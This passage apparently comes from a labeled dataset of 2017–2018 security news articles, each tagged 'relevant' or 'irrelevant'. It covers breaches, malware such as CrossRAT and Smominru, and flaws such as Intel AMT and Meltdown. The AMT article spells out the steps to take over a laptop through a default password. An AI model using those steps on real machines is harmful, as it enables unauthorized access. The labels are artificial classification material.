transaction authorizations,"" the company said while explaining the incident. ""When encryption was off, payment card data was being stored in this log. In a group of stores that were involved in this incident, malware was installed on the log devices that was capable of finding payment card data from the logs, so if encryption was off on a POS device prior to April 3, 2017, and that data was still present in the log file at one of these stores, the malware could have found that data."" The company also assured its online customers that payment cards used on its website (forever21.com) were not affected by the breach. Since payment processing systems outside of the United States work differently, it should not be impacted by the security breach, but the retailer said it's still investigating whether non-US stores were affected or not. Forever 21 advised customers who shopped at its stores to stay vigilant and keep an eye on their credit transactions for any suspicious activity, and immediately notify their banks that issued the card if found any. The company has promised to continue working with ""security firms to enhance"" their security measures. This breach is yet another embarrassing incident disclosed recently, followed by Disqus' disclosure of a 5-year-old breach of over 17.5 million Disqus users and Yahoo's revelation that 2013 data breach affected all of its 3 Billion users. The recent incidents also include Equifax's revelation of a breach of potentially 145.5 million customers, U.S. Securities and Exchange Commission (SEC) disclosure of a data breach that profited hackers, and Deloitte's disclosure of a cyber attack that led to the theft of its clients' private emails and documents.",irrelevant
"Beware! Undetectable CrossRAT malware targets Windows, MacOS, and Linux systems Are you using Linux or Mac OS? If you think your system is not prone to viruses, then you should read this. Wide-range of cybercriminals are now using a new piece of 'undetectable' spying malware that targets Windows, macOS, Solaris and Linux systems. Just last week we published a detailed article on the report from EFF/Lookout that revealed a new advanced persistent threat (APT) group, called Dark Caracal, engaged in global mobile espionage campaigns. Although the report revealed about the group's successful large-scale hacking operations against mobile phones rather than computers, it also shed light on a new piece of cross-platform malware called CrossRAT (version 0.1), which is believed to be developed by, or for, the Dark Caracal group. CrossRAT is a cross-platform remote access Trojan that can target all four popular desktop operating systems, Windows, Solaris, Linux, and macOS, enabling remote attackers to manipulate the file system, take screenshots, run arbitrary executables, and gain persistence on the infected systems. According to researchers, Dark Caracal hackers do not rely on any ""zero-day exploits"" to distribute its malware; instead, it uses basic social engineering via posts on Facebook groups and WhatsApp messages, encouraging users to visit hackers-controlled fake websites and download malicious applications. CrossRAT is written in Java programming language, making it easy for reverse engineers and researchers to decompile it. crossrat-malware Since at the time of writing only two out of 58 popular antivirus solutions (according to VirusTotal) can detect CrossRAT, ex-NSA hacker Patrick Wardle decided to analyse the malware and provide a comprehensive technical overview including its persistence mechanism, command and control communication as well as its capabilities. CrossRAT 0.1 — Cross-Platform Persistent Surveillance Malware Once executed on the targeted system, the implant (hmar6.jar) first checks the operating system it's running on and then installs itself accordingly. Besides this, the CrossRAT implant also attempts to gather information about the infected system, including the installed OS version, kernel build and architecture. Moreover, for Linux systems, the malware also attempts to query systemd files to determine its distribution, like Arch Linux, Centos, Debian, Kali Linux, Fedora, and Linux Mint, among many more. CrossRAT then implements OS specific persistence mechanisms to automatically (re)executes whenever the infected system is rebooted and register itself to the C&C server, allowing remote attackers to send command and exfiltrate data. As reported by Lookout researchers, CrossRAT variant distributed by Dark Caracal hacking group connects to 'flexberry(dot)com' on port 2223, whose information is hardcoded in the 'crossrat/k.class' file. CrossRAT Includes Inactive Keylogger Module crossrat-commands The malware has been designed with some basic surveillance capabilities, which get triggered only when received respective predefined commands from the C&C server. Interestingly, Patrick noticed that the CrossRAT has also been programmed to use 'jnativehook,' an open-source Java library to listen to keyboard and mouse events, but the malware does not have any predefined command to activate this keylogger. ""However, I didn't see any code within that implant that referenced the jnativehook package—so at this point it appears that this functionality is not leveraged? There may be a good explanation for this. As noted in the report, the malware identifies it's version as 0.1, perhaps indicating it's still a work in progress and thus not feature complete,"" Patrick said. How to Check If You're Infected with CrossRAT? Since CrossRAT persists in an OS-specific manner, detecting the malware will depend on what operating system you are running. For Windows: Check the 'HKCU\Software\Microsoft\Windows\CurrentVersion\Run\' registry key. If infected it will contain a command that includes, java, -jar and mediamgrs.jar. For macOS: Check for jar file, mediamgrs.jar, in ~/Library. Also look for launch agent in /Library/LaunchAgents or ~/Library/LaunchAgents named mediamgrs.plist. For Linux: Check for jar file, mediamgrs.jar, in /usr/var. Also look for an 'autostart' file in the ~/.config/autostart likely named mediamgrs.desktop. How to Protect Against CrossRAT Trojan? malware-crossrat-windows-linux-mac Only 2 out of 58 antivirus products detect CrossRAT at the time of writing, which means that your AV would hardly protect you from this threat. ""As CrossRAT is written in Java, it requires Java to be installed. Luckily recent versions of macOS do not ship with Java,"" Patrick said. ""Thus, most macOS users should be safe! Of course, if a Mac user already has Java installed, or the attacker is able to coerce a naive user to install Java first, CrossRAT will run just dandy, even on the latest version of macOS (High Sierra)."" Users are advised to install behaviour-based threat detection software. Mac users can use BlockBlock, a simple utility developed by Patrick that alerts users whenever anything is persistently installed.",relevant
"Yikes! Three armed men tried to rob a Bitcoin Exchange in Canada As many non-tech savvy people think that Bitcoin looks like a Gold coin as illustrated in many stock images, perhaps these robbers also planned to rob a cryptocurrency exchange thinking that way. All jokes apart, we saw one such attempt on Tuesday morning, when three men armed with handguns entered the offices of a Canadian Bitcoin exchange in Ottawa, and restrained four of its employees. The intruders then struck one of the employees in the head with a handgun, asking them to make an outbound transaction from the cryptocurrency exchange. A fifth employee in another cabin, who remained unseen in an office, called the police before any assets could be taken, and the robbers left empty-handed. One of the suspects arrested later Wednesday after arriving police officers saw him run into a ravine north of Colonnade Road and deployed ""extensive resources,"" including K-9 unit officers, to find him, CBC News reports. ""Police are looking for two additional suspects, both described as black males,"" the police says. ""Investigators are also interested in identifying and speaking to a person of interest that was inside the premise as the suspects arrived. That person did not remain at the scene."" The suspect in custody, identified as 19-year-old Jimmy St-Hilaire, has been charged with the following offences: 5 counts of robbery with a firearm 5 counts of point a firearm 5 counts of forcible confinement Wear disguise Conspiracy to Commit an indictable offence Carry concealed weapon Possess firearm while prohibited Possess weapon for committing an offence Possess loaded regulated firearm St-Hilaire is set to appear in court on January 24, 2018. Ottawa police are now looking for the remaining two suspects. The authorities have not revealed the name of the cryptocurrency exchange. A similar incident happened last month when armed robbers kidnapped a top executive at UK-registered crypto-exchange EXMO Finance and allegedly stole more than $1.8 million of Ether for releasing him. The New York District Attorney's Office charged New Jersey native Louis Meza for the kidnapping and robbery, claiming Meza held ""demanded that the victim turns over his cell phone, wallet, and keys while holding the victim at gunpoint.""",irrelevant
"Cryptocurrency Mining Malware Infected Over Half-Million PCs Using NSA Exploit 2017 was the year of high profile data breaches and ransomware attacks, but from the beginning of this year, we are noticing a faster-paced shift in the cyber threat landscape, as cryptocurrency-related malware is becoming a popular and profitable choice of cyber criminals. Several cybersecurity firms are reporting of new cryptocurrency mining viruses that are being spread using EternalBlue—the same NSA exploit that was leaked by the hacking group Shadow Brokers and responsible for the devastating widespread ransomware threat WannaCry. Researchers from Proofpoint discovered a massive global botnet dubbed ""Smominru,"" a.k.a Ismo, that is using EternalBlue SMB exploit (CVE-2017-0144) to infect Windows computers to secretly mine Monero cryptocurrency, worth millions of dollars, for its master. Active since at least May 2017, Smominru botnet has already infected more than 526,000 Windows computers, most of which are believed to be servers running unpatched versions of Windows, according to the researchers. ""Based on the hash power associated with the Monero payment address for this operation, it appeared that this botnet was likely twice the size of Adylkuzz,"" the researchers said. The botnet operators have already mined approximately 8,900 Monero, valued at up to $3.6 million, at the rate of roughly 24 Monero per day ($8,500) by stealing computing resources of millions of systems. monero-cryptocurrency-mining-malware The highest number of Smominru infection has been observed in Russia, India, and Taiwan, the researchers said. The command and control infrastructure of Smominru botnet is hosted on DDoS protection service SharkTech, which was notified of the abuse but the firm reportedly ignored the abuse notifications. According to the Proofpoint researchers, cybercriminals are using at least 25 machines to scan the internet to find vulnerable Windows computers and also using leaked NSA's RDP protocol exploit, EsteemAudit (CVE-2017-0176), for infection. ""As Bitcoin has become prohibitively resource-intensive to mine outside of dedicated mining farms, interest in Monero has increased dramatically. While Monero can no longer be mined effectively on desktop computers, a distributed botnet like that described here can prove quite lucrative for its operators,"" the researchers concluded. ""The operators of this botnet are persistent, use all available exploits to expand their botnet, and have found multiple ways to recover after sinkhole operations. Given the significant profits available to the botnet operators and the resilience of the botnet and its infrastructure, we expect these activities to continue, along with their potential impacts on infected nodes."" Another security firm CrowdStrike recently published a blog post, reporting another widespread cryptocurrency fileless malware, dubbed WannaMine, using EternalBlue exploit to infect computers to mine Monero cryptocurrency. Since it does not download any application to an infected computer, WannaMine infections are harder to detect by antivirus programs. CrowdStrike researchers observed the malware has rendered ""some companies unable to operate for days and weeks at a time."" Besides infecting systems, cybercriminals are also widely adopting cryptojacking attacks, wherein browser-based JavaScript miners utilise website visitors' CPUs power to mine cryptocurrencies for monetisation. Since recently observed cryptocurrency mining malware attacks have been found leveraging EternalBlue, which had already been patched by Microsoft last year, users are advised to keep their systems and software updated to avoid being a victim of such threats.",relevant
"Critical Flaw in All Blizzard Games Could Let Hackers Hijack Millions of PCs A Google security researcher has discovered a severe vulnerability in Blizzard games that could allow remote attackers to run malicious code on gamers' computers. Played every month by half a billion users—World of Warcraft, Overwatch, Diablo III, Hearthstone and Starcraft II are popular online games created by Blizzard Entertainment. To play Blizzard games online using web browsers, users need to install a game client application, called 'Blizzard Update Agent,' onto their systems that run JSON-RPC server over HTTP protocol on port 1120, and ""accepts commands to install, uninstall, change settings, update and other maintenance related options."" Google's Project Zero team researcher Tavis Ormandy discovered that the Blizzard Update Agent is vulnerable to a hacking technique called the ""DNS Rebinding"" attack that allows any website to act as a bridge between the external server and your localhost. Just last week, Ormandy revealed a similar vulnerability in a popular Transmission BitTorrent app that could allow hackers to remotely execute malicious code on BitTorrent users' computers and take control of them. By simply creating a DNS entry to bind any attacker-controlled web page with localhost (127.0.0.1) and tricking users into visiting it, hackers can easily send privileged commands to the Blizzard Update Agent using JavaScript code. Although a random website running in a web browser usually cannot make requests to a hostname other than its own, the local Blizzard updater service does not validate what hostname the client was requesting and responds to such requests. Blizzard DNS Rebinding Attack — Proof of Concept Exploit Ormandy has also published a proof-of-concept exploit that executes DNS rebinding attack against Blizzard clients and could be modified to allow exploitation using network drives, or setting destination to ""downloads"" and making the browser install malicious DLLs, data files, etc. Ormandy responsibly reported Blizzard of the issue in December to get it patched before hackers could take advantage of it to target hundreds of millions of gamers. However, after initially communication, Blizzard inappropriately stopped responding to Ormandy's emails and silently applied partial mitigation in the client version 5996. ""Blizzard was replying to emails but stopped communicating on December 22nd. Blizzard is no longer replying to any enquiries, and it looks like in version 5996 the Agent now has been silently patched with a bizarre solution,"" Ormandy says. ""Their solution appears to be to query the client command line, get the 32-bit FNV-1a string hash of the exename and then check if it's in a blacklist. I proposed they whitelist Hostnames, but apparently, that solution was too elegant and simple. I'm not pleased that Blizzard pushed this patch without notifying me, or consulted me on this."" After the Ormandy's report went public, Blizzard contacted and informed him that a more robust Host header whitelist fix to address the issue entirely is currently being developed for deployment. Ormandy is also checking other big games vendors with a user base of over 100 Million to see if the problem can be replicated. ",relevant
"Critical Flaw Hits Popular Windows Apps Built With Electron JS Framework A critical remote code execution vulnerability has been reported in Electron—a popular web application framework that powers thousands of widely-used desktop applications including Skype, Signal, Wordpress and Slack—that allows for remote code execution. Electron is an open-source framework that is based on Node.js and Chromium Engine and allows app developers to build cross-platform native desktop applications for Windows, macOS and Linux, without knowledge of programming languages used for each platform. The vulnerability, assigned as the number CVE-2018-1000006, affects only those apps that run on Microsoft Windows and register themselves as the default handler for a protocol like myapp://. ""Such apps can be affected regardless of how the protocol is registered, e.g. using native code, the Windows registry, or Electron's app.setAsDefaultProtocolClient API,"" Electron says in an advisory published Monday. The Electron team has also confirmed that applications designed for Apple's macOS and Linux are not vulnerable to this issue, and neither those (including for Windows) that do not register themselves as the default handler for a protocol like myapp://. The Electron developers have already released two new versions of their framework, i.e. 1.8.2-beta.4, 1.7.11, and 1.6.16 to address this critical vulnerability. ""If for some reason you are unable to upgrade your Electron version, you can append—as the last argument when calling app.setAsDefaultProtocolClient, which prevents Chromium from parsing further options,"" the company says. End users can do nothing about this vulnerability; instead, developers using Electron JS framework have to upgrade their applications immediately to protect their user base. Much details of the remote code execution vulnerability have not been disclosed yet, neither the advisory named any of the vulnerable apps (that make themselves the default protocol handler) for security reason. We will update you as soon as any details about the flaw come out.",relevant
"Update Your Firefox Browser to Fix a Critical Remotely Exploitable Flaw Mozilla has released an important update for its Firefox web browser to patch a critical vulnerability that could allow remote attackers to execute malicious code on computers running an affected version of the browser. The update comes just a week after the company rolled out its new Firefox Quantum browser, a.k.a Firefox 58, with some new features like improved graphics engine and performance optimizations and patches for more than 30 vulnerabilities. According to a security advisory published by Cisco, Firefox 58.0.1 addresses an 'arbitrary code execution' flaw that originates due to 'insufficient sanitization' of HTML fragments in chrome-privileged documents (browser UI). Hackers could exploit this vulnerability (CVE-2018-5124) to run arbitrary code on the victim's computer just by tricking them into accessing a link or 'opening a file that submits malicious input to the affected software.' ""A successful exploit could allow the attacker to execute arbitrary code with the privileges of the user. If the user has elevated privileges, the attacker could compromise the system completely,"" the advisory states. This could allow an attacker to install programs, create new accounts with full user rights, and view, change or delete data. However, if the application has been configured to have fewer user rights on the system, the exploitation of this vulnerability could have less impact on the user. Affected web browser versions include Firefox 56 (.0, .0.1, .0.2), 57 (.0, .0.1, .0.2, .0.3, .0.4), and 58 (.0). The vulnerability has been addressed in Firefox 58.0.1, and you can download from the company's official website. The issue, which was discovered by Mozilla developer Johann Hofmann, does not affect Firefox browser for Android and Firefox 52 ESR. Users are recommended to apply the software updates before hackers exploit this issue, and avoid opening links provided in emails or messages if they appear from suspicious or unrecognized sources. Administrators are also advised to use an unprivileged account when browsing the Internet and monitor critical systems.",relevant
"Hundreds of GPS Location Tracking Services Leaving User Data Open to Hackers Security researchers have unearthed multiple vulnerabilities in hundreds of GPS services that could enable attackers to expose a whole host of sensitive data on millions of online location tracking devices managed by vulnerable GPS services. The series of vulnerabilities discovered by two security researchers, Vangelis Stykas and Michael Gruhn, who dubbed the bugs as 'Trackmageddon' in a report, detailing the key security issues they have encountered in many GPS tracking services. Trackmageddon affects several GPS services that harvest geolocation data of users from a range of smart GPS-enabled devices, including children trackers, car trackers, pet trackers among others, in an effort to enable their owners to keep track of where they are. According to the researchers, the vulnerabilities include easy-to-guess passwords (such as 123456), exposed folders, insecure API endpoints, and insecure direct object reference (IDOR) issues. By exploiting these flaws, an unauthorized third party or hacker can get access to personally identifiable information collected by all location tracking devices, including GPS coordinates, phone numbers, device model and type information, IMEI numbers, and custom assigned names. gps-location-tracking What's more? On some online services, an unauthorized third party can also access photos and audio recordings uploaded by location tracking devices. The duo said they have been trying to reach out to potentially affected vendors behind the affected tracking services for warning them of the severity of these vulnerabilities. According to the researchers, one of the largest global vendors for GPS tracking devices, ThinkRace, may have been the original developer of the flawed location tracking online service software and seller of licenses to the software. Although four of the affected ThinkRace domains have now been fixed, the remaining domains still using the same flawed services continue to be vulnerable. Since many services could still be using old versions of ThinkRace, users are urged to stay up-to-date. ""We tried to give the vendors enough time to fix (also respond for that matter) while we weighted this against the current immediate risk of the users,"" the researchers wrote in their report. ""We understand that only a vendor fix can remove user's location history (and any other stored user data for that matter) from the still affected services but we (and I personally because my data is also on one of those sites) judge the risk of these vulnerabilities being exploited against live location tracking devices much higher than the risk of historic data being exposed."" In many cases, vendors attempted to patch the vulnerabilities, but the issues ended up re-appearing. Around 79 domains still remain vulnerable, and researchers said they did not know if these services would be fixed. ""There have been several online services that stopped being vulnerable to our automated proof of concept code, but because we never received a notification by a vendor that they fixed them, it could be that the services come back online again as vulnerable,"" the duo said. You can find the entire list of affected domains on the Trackmageddon report. Stykas and Gruhn also recommended some suggestions for users to avoid these vulnerabilities, which includes removing as much data from the affected devices as possible, changing the password for the tracking services and keeping a strong one, or just stopping to use the affected devices until the issues are fixed.",relevant
"Nearly Half of the Norway Population Exposed in HealthCare Data Breach Cybercriminals have stolen a massive trove of Norway's healthcare data in a recent data breach, which likely impacts more than half of the nation's population. An unknown hacker or group of hackers managed to breach the systems of Health South-East Regional Health Authority (RHF) and reportedly stolen personal info and health records of some 2.9 million Norwegians out of the country's total 5.2 million inhabitants. Health South-East RHA is a healthcare organisation that manages hospitals in Norway's southeast region, including Østfold, Akershus, Oslo, Hedmark, Oppland, Buskerud, Vestfold, Telemark, Aust-Agder and Vest-Agder. The healthcare organisation announced the data breach on Monday after it had been alerted by HelseCERT, the Norwegian CERT department for its healthcare sector, about an ""abnormal activity"" against computer systems in the region. HelseCERT also said the culprits behind the data breach are ""advanced and professional"" hackers, although it is still unknown as to whether they were managed to exfiltrate data successfully and if so, how many people may have been impacted. So far there's also no evidence if the stolen data theft has had any consequences for or effects on patients' safety. However, the healthcare organisation assured that security ""measures had been taken to limit the damage caused by the burglary."" ""We are in a phase where we try to get an overview. It's far too early to say how big the attack is. We are working to acquire knowledge of all aspects, "" NorCERT director Kjetil Nilsen told Norwegian publication VG. ""Everything indicates that it is an advanced player who has the tools and ability to perform such an attack. It can be advanced criminals. There is a wide range of possibilities."" Why Do Hackers Want Your Health Data? Digital healthcare has been growing to satisfy the demands of connected healthcare technology that provides better treatment and improved patient care. We know that any organisation with a computer is at risk from cyber-attacks both from criminals wanting to extort money and state-sponsored hackers wanting to cause chaos. Since the healthcare sector is part of the critical national infrastructure, alongside water, electricity and transport, it becomes an attractive target for hackers. Believe it or not, your medical records are worth more to hackers than your stolen credit card details on the dark web markets. Financial data has a finite lifespan, but the information contained in health care records—which includes names, birth dates, policy numbers, diagnosis codes, social security number and billing information—has a much longer shelf life and is rich enough for identity theft. Fraudsters can use this data to create fake identities to do all illegal kinds of stuff in your name, combine a patient number with a false provider number and file fake claims with insurers, and even file fake tax returns using your stolen addresses, phone numbers and employment history. How to Protect Yourself After a Data Breach? If you are a one of those affected by the healthcare breach, you will have to remain vigilant against fraud for the rest of your lives, because the risk of identity theft isn't short term, unlike in case of credit cards fraud. You may follow the following steps to protect yourself: 1) Monitor Your Accounts: Watch out if someone using your information do not ever try to take over or transfer money out of your existing accounts. Don't forget that thieves with stolen details on you can get through your security questions, including the last four digits of your social and street address. Also, watch for any unauthorised activity or transfers on your current financial accounts. 2) File Your Taxes Early: With the stolen information in the hands, cyber thieves could hook your tax refund by filing your taxes early and claiming it for themselves. So, to avoid any such problems, file your taxes as early as possible. 3) Stay Vigilant: The foremost thing to protect against any breach is to stay vigilant, as nobody knows when or where your stolen identities will be used. So, affected consumers will simply have to stay mindful forever.",irrelevant
"New Intel AMT Security Issue Lets Hackers Gain Full Control of Laptops in 30 Seconds It's been a terrible new-year-starting for Intel. Researchers warn of a new attack which can be carried out in less than 30 seconds and potentially affects millions of laptops globally. As Intel was rushing to roll out patches for Meltdown and Spectre vulnerabilities, security researchers have discovered a new critical security flaw in Intel hardware that could allow hackers to access corporate laptops remotely. Finnish cyber security firm F-Secure reported unsafe and misleading default behaviour within Intel Active Management Technology (AMT) that could allow an attacker to bypass login processes and take complete control over a user's device in less than 30 seconds. AMT is a feature that comes with Intel-based chipsets to enhance the ability of IT administrators and managed service providers for better controlling their device fleets, allowing them to remotely manage and repair PCs, workstations, and servers in their organisation. The bug allows anyone with physical access to the affected laptop to bypass the need to enter login credentials—including user, BIOS and BitLocker passwords and TPM pin codes—enabling remote administration for post-exploitation. In general, setting a BIOS password prevents an unauthorised user from booting up the device or making changes to the boot-up process. But this is not the case here. The password doesn't prevent unauthorised access to the AMT BIOS extension, thus allowing attackers access to configure AMT and making remote exploitation possible. Although researchers have discovered some severe AMT vulnerabilities in the past, the recently discovered issue is of particular concern because it is: easy to exploit without a single line of code, affects most Intel corporate laptops, and could enable attackers to gain remote access to the affected system for later exploitation. ""The attack is almost deceptively simple to enact, but it has incredible destructive potential,"" said F-Secure senior security researcher Harry Sintonen, who discovered the issue in July last year. ""In practice, it can give a local attacker complete control over an individual's work laptop, despite even the most extensive security measures."" According to the researchers, the newly discovered bug has nothing to do with the Spectre and Meltdown vulnerabilities recently found in the microchips used in almost all PCs, laptops, smartphones and tablets today. Here's How to Exploit this AMT Issue To exploit this issue, all an attacker with physical access to a password (login and BIOS) protected machine needs to do is reboot or power-up the targeted PC and press CTRL-P during boot-up, as demonstrated by researchers at F-Secure in the above video. The attacker then can log into Intel Management Engine BIOS Extension (MEBx) with a default password. Here, the default password for MEBx is ""admin,"" which most likely remains unchanged on most corporate laptops. Once logged in, the attacker can then change the default password and enable remote access, and even set AMT's user opt-in to ""None."" Now, since the attacker has backdoored the machine efficiently, he/she can access the system remotely by connecting to the same wireless or wired network as the victim. Although exploiting the issue requires physical access, Sintonen explained that the speed and time at which it can be carried out makes it easily exploitable, adding that even one minute of a distraction of a target from its laptop is enough to do the damage. ""Attackers have identified and located a target they wish to exploit. They approach the target in a public place—an airport, a café or a hotel lobby—and engage in an 'evil maid' scenario,"" Sintonen says. ""Essentially, one attacker distracts the mark, while the other briefly gains access to his or her laptop. The attack doesn't require a lot of time—the whole operation can take well under a minute to complete."" Along with CERT-Coordination Center in the United States, F-Secure has notified Intel and all relevant device manufacturers about the security issue and urged them to address it urgently. Meanwhile, users and IT administrators in an organisation are recommended to change the default AMT password of their device to a strong one or disable AMT if this option is available, and never leave their laptop or PC unattended in a public place.",relevant
"Huge Flaws Affect Nearly Every Modern Device; Patch Could Hit CPU Performance UPDATE: Researchers have finally disclosed complete technical details of two kernel side-channel attacks, Meltdown and Spectre—which affect not only Intel but also systems and devices running AMD, ARM processors—allowing attackers to steal sensitive data from the system memory. ____________ The first week of the new year has not yet been completed, and very soon a massive vulnerability is going to hit hundreds of millions of Windows, Linux, and Mac users worldwide. According to a blog post published yesterday, the core team of Linux kernel development has prepared a critical kernel update without releasing much information about the vulnerability. Multiple researchers on Twitter confirmed that Intel processors (x86-64) have a severe hardware-level issue that could allow attackers to access protected kernel memory, which primarily includes information like passwords, login keys, and files cached from disk. The security patch implements kernel page-table isolation (KPTI) to move the kernel into an entirely separate address space and keeps it protected and inaccessible from running programs and userspace, which requires an update at the operating system level. ""The purpose of the series is conceptually simple: to prevent a variety of attacks by unmapping as much of the Linux kernel from the process page table while the process is running in user space, greatly hindering attempts to identify kernel virtual address ranges from unprivileged userspace code,"" writes Python Sweetness. It is noteworthy that installing the update will hit your system speed negatively and could bring down CPUs performance by 5 percent to 30 percent, ""depending on the task and processor model."" ""With the page table splitting patches merged, it becomes necessary for the kernel to flush these caches every time the kernel begins executing, and every time user code resumes executing."" Much details of the flaw have been kept under wraps for now, but considering its secrecy, some researchers have also speculated that a Javascript program running in a web browser can recover sensitive kernel-protected data. AMD processors are not affected by the vulnerability due to security protections that the company has in place, said Tom Lendacky, a member of the Linux OS group at AMD. ""AMD processors are not subject to the types of attacks that the kernel page table isolation feature protects against,"" the company said. ""The AMD microarchitecture does not allow memory references, including speculative references, that access higher privileged data when running in a lesser privileged mode when that access would result in a page fault."" The Linux patch that is being released for ALL x86 processors also includes AMD processors, which has also been considered insecure by the Linux mainline kernel, but AMD recommends specifically not to enable the patch for Linux. Microsoft is likely to fix the issue for its Windows operating system in an upcoming Patch Tuesday, and Apple is also likely working on a patch to address the vulnerability.",relevant
"LeakedSource Founder Arrested for Selling 3 Billion Stolen Credentials Canadian authorities have arrested and charged an Ontario man for operating a website that collected 'stolen' personal identity records and credentials from some three billion online accounts and sold them for profit. According to the Royal Canadian Mounted Police (RCMP), the 27-year-old Jordan Evan Bloom of Thornhill is the person behind the notorious LeakedSource.com—a major repository that compiled public data breaches and sold access to the data, including plaintext passwords. Launched in late 2015, LeakedSource had collected around 3 billion personal identity records and associated passwords from some of the massive data breaches, including LinkedIn, VK.com, Last.Fm, Ashley Madison, MySpace, Twitter, Weebly and Foursquare, and made them accessible and searchable to anyone for a fee. LeakedSource was shut down, and its associated social media accounts have been suspended after the law enforcement raided its operator earlier last year. However, another website with the same domain name hosted by servers in Russia is still in operation. Bloom is accused of operating the notorious website and claimed to have earned nearly US$200,000 by selling stolen personal identity records and associated passwords for a ""small fee"" via his site. Appeared in a Toronto court on Monday, January 15, Bloom charged with trafficking in identity information, mischief to data, unauthorised use of a computer, and possession of property obtained by crime, the RCMP said. ""This investigation is related to claims about a website operator alleged to have made hundreds of thousands of dollars selling personal information,"" the RCMP Cybercrime Investigative Team said in a statement. ""The RCMP will continue to work diligently with our domestic and international law enforcement partners to prosecute online criminality."" Bloom was arrested and charged on December 22, 2017, as part of the RCMP's national cybercrime division investigation, dubbed 'Project Adoration.' The RCMP said the Dutch national police and the United States' FBI assisted in the operation, adding the case could not have been cracked without international collaboration. Bloom is currently in custody and due back in court on February 16. Cybersecurity lawyer Imran Ahmad told Reuters that Bloom could face a maximum sentence 10 years in prison.",irrelevant
"[Guide] How to Protect Your Devices Against Meltdown and Spectre Attacks Recently uncovered two huge processor vulnerabilities called Meltdown and Spectre have taken the whole world by storm, while vendors are rushing out to patch the vulnerabilities in its products. The issues apply to all modern processors and affect nearly all operating systems (Windows, Linux, Android, iOS, macOS, FreeBSD, and more), smartphones and other computing devices made in the past 20 years. What are Spectre and Meltdown? We have explained both, Meltdown (CVE-2017-5754) and Spectre (CVE-2017-5753, CVE-2017-5715), exploitation techniques in our previous article. In short, Spectre and Meltdown are the names of security vulnerabilities found in many processors from Intel, ARM and AMD that could allow attackers to steal your passwords, encryption keys and other private information. Both attacks abuse 'speculative execution' to access privileged memory—including those allocated for the kernel—from a low privileged user process like a malicious app running on a device, allowing attackers to steal passwords, login keys, and other valuable information. Protect Against Meltdown and Spectre CPU Flaws Some, including US-CERT, have suggested the only true patch for these issues is for chips to be replaced, but this solution seems to be impractical for the general user and most companies. Vendors have made significant progress in rolling out fixes and firmware updates. While the Meltdown flaw has already been patched by most companies like Microsoft, Apple and Google, Spectre is not easy to patch and will haunt people for quite some time. Here's the list of available patches from major tech manufacturers: Windows OS (7/8/10) and Microsoft Edge/IE Microsoft has already released an out-of-band security update (KB4056892) for Windows 10 to address the Meltdown issue and will be releasing patches for Windows 7 and Windows 8 on January 9th. But if you are running a third-party antivirus software then it is possible your system won't install patches automatically. So, if you are having trouble installing the automatic security update, turn off your antivirus and use Windows Defender or Microsoft Security Essentials. ""The compatibility issue is caused when antivirus applications make unsupported calls into Windows kernel memory,"" Microsoft noted in a blog post. ""These calls may cause stop errors (also known as blue screen errors) that make the device unable to boot."" Apple macOS, iOS, tvOS, and Safari Browser Apple noted in its advisory, ""All Mac systems and iOS devices are affected, but there are no known exploits impacting customers at this time."" To help defend against the Meltdown attacks, Apple has already released mitigations in iOS 11.2, macOS 10.13.2, and tvOS 11.2, has planned to release mitigations in Safari to help defend against Spectre in the coming days. Android OS Android users running the most recent version of the mobile operating system released on January 5 as part of the Android January security patch update are protected, according to Google. So, if you own a Google-branded phone, like Nexus or Pixel, your phone will either automatically download the update, or you'll simply need to install it. However, other Android users have to wait for their device manufacturers to release a compatible security update. The tech giant also noted that it's unaware of any successful exploitation of either Meltdown or Spectre on ARM-based Android devices. Firefox Web Browser Mozilla has released Firefox version 57.0.4 which includes mitigations for both Meltdown and Spectre timing attacks. So users are advised to update their installations as soon as possible. ""Since this new class of attacks involves measuring precise time intervals, as a partial, short-term mitigation we are disabling or reducing the precision of several time sources in Firefox,"" Mozilla software engineer Luke Wagner wrote in a blog post. Google Chrome Web Browser Google has scheduled the patches for Meltdown and Spectre exploits on January 23 with the release of Chrome 64, which will include mitigations to protect your desktop and smartphone from web-based attacks. In the meantime, users can enable an experimental feature called ""Site Isolation"" that can offer some protection against the web-based exploits but might also cause performance problems. ""Site Isolation makes it harder for untrusted websites to access or steal information from your accounts on other websites. Websites typically cannot access each other's data inside the browser, thanks to code that enforces the Same Origin Policy."" Google says. Here's how to turn on Site Isolation: Copy chrome://flags/#enable-site-per-process and paste it into the URL field at the top of your Chrome web browser, and then hit the Enter key. Look for Strict Site Isolation, then click the box labelled Enable. Once done, hit Relaunch Now to relaunch your Chrome browser. Linux Distributions The Linux kernel developers have also released patches for the Linux kernel with releases including versions 4.14.11, 4.9.74, 4.4.109, 3.16.52, 3.18.91 and 3.2.97, which can be downloaded from Kernel.org. VMware and Citrix A global leader in cloud computing and virtualisation, VMware, has also released a list of its products affected by the two attacks and security updates for its ESXi, Workstation and Fusion products to patch against Meltdown attacks. On the other hand, another popular cloud computing and virtualisation vendor Citrix did not release any security patches to address the issue. Instead, the company guided its customers and recommended them to check for any update on relevant third-party software.",relevant
"Hackers Exploiting Three Microsoft Office Flaws to Spread Zyklon Malware Security researchers have spotted a new malware campaign in the wild that spreads an advanced botnet malware by leveraging at least three recently disclosed vulnerabilities in Microsoft Office. Dubbed Zyklon, the fully-featured malware has resurfaced after almost two years and primarily found targeting telecommunications, insurance and financial services. Active since early 2016, Zyklon is an HTTP botnet malware that communicates with its command-and-control servers over Tor anonymising network and allows attackers to remotely steal keylogs, sensitive data, like passwords stored in web browsers and email clients. Zyklon malware is also capable of executing additional plugins, including secretly using infected systems for DDoS attacks and cryptocurrency mining. Different versions of the Zyklon malware has previously been found being advertised on a popular underground marketplace for $75 (normal build) and $125 ( Tor-enabled build). According to a recently published report by FireEye, the attackers behind the campaign are leveraging three following vulnerabilities in Microsoft Office that execute a PowerShell script on the targeted computers to download the final payload from its C&C server. 1) .NET Framework RCE Vulnerability (CVE-2017-8759)—this remote code execution vulnerability exists when Microsoft .NET Framework processes untrusted input, allowing an attacker to take control of an affected system by tricking victims into opening a specially crafted malicious document file sent over an email. Microsoft already released a security patch for this flaw in September updates. 2) Microsoft Office RCE Vulnerability (CVE-2017-11882)—it's a 17-year-old memory corruption flaw that Microsoft patched in November patch update allows a remote attacker to execute malicious code on the targeted systems without requiring any user interaction after opening a malicious document. 3) Dynamic Data Exchange Protocol (DDE Exploit)—this technique allows attackers to leverage a built-in feature of Microsoft Office, called DDE, to perform code execution on the targeted device without requiring Macros to be enabled or memory corruption. As explained by the researchers, attackers are actively exploiting these three vulnerabilities to deliver Zyklon malware using spear phishing emails, which typically arrives with an attached ZIP file containing a malicious Office doc file. Once opened, the malicious doc file equipped with one of these vulnerabilities immediately runs a 